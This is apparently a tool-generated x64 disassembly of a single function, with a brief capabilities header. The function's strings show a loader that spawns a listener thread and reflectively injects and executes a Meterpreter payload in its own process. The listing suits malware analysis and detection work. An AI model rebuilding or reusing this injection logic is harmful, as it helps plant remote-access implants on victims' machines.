Function at 0x140001660
Capabilities:
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xa0
mov rax, qword [0x140061008]
xor rax, rsp
mov qword [rsp + 0x98], rax
xor ebp, ebp
mov qword [rsp + 0x40], rbp
mov ecx, 0xd0
call fcn.140006800
mov rbx, rax
mov qword [rsp + 0x88], rax
xor edx, edx
mov r8d, 0xd0
mov rcx, rax
call fcn.140008be0
mov rcx, rbx
call fcn.140001ec0
nop
mov qword [0x140062d38], rax
mov rcx, rax
call fcn.140002710
mov rcx, qword [0x140062d38]
mov rax, qword [rcx]
lea r8d, [rbp + 2]
lea rdx, str.Starting
call qword [rax + 0x10]
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], ebp
mov r9d, 0x115c
lea r8, [0x140001540]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
mov rcx, qword [0x140062d38]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
lea rdx, str.ListnerThread
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
test rax, rax
mov rax, qword [rcx]
jne 0x140001779
xor r8d, r8d
call qword [rax + 0x28]
mov rax, qword [0x140062d38]
mov rbx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8d, [rbp + 2]
lea rdx, str.Failed_to_create_Listener_thread__Error_Code___0x_x
mov rcx, qword [0x140062d38]
call qword [rbx]
mov rcx, qword [0x140062d38]
mov rax, qword [rcx]
lea r8d, [rbp + 4]
lea rdx, str.Failed_to_create_listener_thread
call qword [rax]
jmp 0x140001ac4
mov r8b, 1
call qword [rax + 0x28]
lea rcx, [rsp + 0x40]
call section..text
mov rbx, qword [rsp + 0x40]
test eax, eax
jne 0x140001831
lea rcx, [rsp + 0x48]
call fcn.140001ba0
nop
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov rcx, qword [0x140062d38]
mov rax, qword [rcx]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdx
xor r9d, r9d
xor r8d, r8d
lea rdx, str.MeterpreterLoaded
call qword [rax + 0x28]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140001819
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001814
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b34
call fcn.14000683c
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], socket
mov byte [rsp + 0x48], 0
jmp 0x140001aae
lea rcx, [rsp + 0x68]
call fcn.140001ba0
nop
lea rdx, [rsp + 0x68]
cmp qword [rsp + 0x80], 0x10
cmovae rdx, qword [rsp + 0x68]
mov rcx, qword [0x140062d38]
mov rax, qword [rcx]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdx
xor r9d, r9d
mov r8b, 1
lea rdx, str.MeterpreterLoaded
call qword [rax + 0x28]
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x1400018ba
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b2e
call fcn.14000683c
movsxd rax, dword [rbx + 0x3c]
mov r8d, dword [rax + rbx + 0x28]
add r8, rbx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x140062d38]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
lea rdx, str.MeterpreterExecuted
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
test rax, rax
mov rax, qword [rcx]
jne 0x140001957
xor r8d, r8d
call qword [rax + 0x28]
mov rcx, qword [0x140062d38]
mov rax, qword [rcx]
mov dword [rsp + 0x28], 0x32800
mov dword [rsp + 0x20], 0x5a
mov r9d, 0x4d
lea r8d, [r9 - 0x4b]
lea rdx, str.Local_reflective_injection_failed__data:__c_c__siz:_0x_x
call qword [rax + 0x10]
mov rcx, qword [0x140062d38]
mov rax, qword [rcx]
mov r8d, 4
lea rdx, str.Local_reflective_injection_failed
call qword [rax + 0x10]
jmp 0x140001aae
mov r8b, 1
call qword [rax + 0x28]
mov edx, 0x4e20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, eax
test eax, eax
jne 0x1400019eb
lea rdx, [rsp + 0x90]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, qword [0x140062d38]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
lea rdx, str.SessionCreated
mov rax, qword [rcx]
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
cmp dword [rsp + 0x90], r9d
jne 0x1400019ba
mov r8b, 1
call qword [rax + 0x28]
jmp 0x140001a4b
xor r8d, r8d
call qword [rax + 0x28]
mov rcx, qword [0x140062d38]
mov rax, qword [rcx]
mov r9d, dword [rsp + 0x90]
mov r8d, 2
lea rdx, str.ExitCode_from_listener_thread_is_not_success__exit_code__d_
call qword [rax + 0x10]
lea rdx, str.Listener_thread_finished_unsuccessfully
jmp 0x140001a38
mov rcx, qword [0x140062d38]
mov rax, qword [rcx]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SessionCreated
call qword [rax + 0x28]
mov rcx, qword [0x140062d38]
mov rax, qword [rcx]
mov r9d, esi
mov r8d, 2
lea rdx, str.Did_not_succeed_in_waiting_for_the_listener_thread_0x_x
call qword [rax + 0x10]
lea rdx, str.Waiting_for_listener_thread_failed
mov rcx, qword [0x140062d38]
mov rax, qword [rcx]
mov r8d, 4
call qword [rax + 0x10]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
je 0x140001a6c
mov r8d, 2
lea rdx, str.Meterpreter_thread_terminated
jmp 0x140001aa2
mov rax, qword [0x140062d38]
mov rdi, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, 2
lea rdx, str.Could_not_terminate_meterpreter_thread__d
mov rcx, qword [0x140062d38]
call qword [rdi]
mov r8d, 4
lea rdx, str.Could_not_terminate_meterpreter_thread
mov rcx, qword [0x140062d38]
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
je 0x140001ac4
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [0x140062d38]
mov r8, qword [rcx + 0x60]
mov r8, qword [r8 + 8]
lea rdx, str._s:Finished_n
call fcn.140003260
mov rbx, qword [0x140062d38]
cmp byte [rbx + 0x2f], 0
jne 0x140001af4
mov rcx, rbx
call fcn.140002710
mov byte [rbx + 0x2e], 1
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400067e0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.14000d14c
int3
call fcn.14000d14c
int3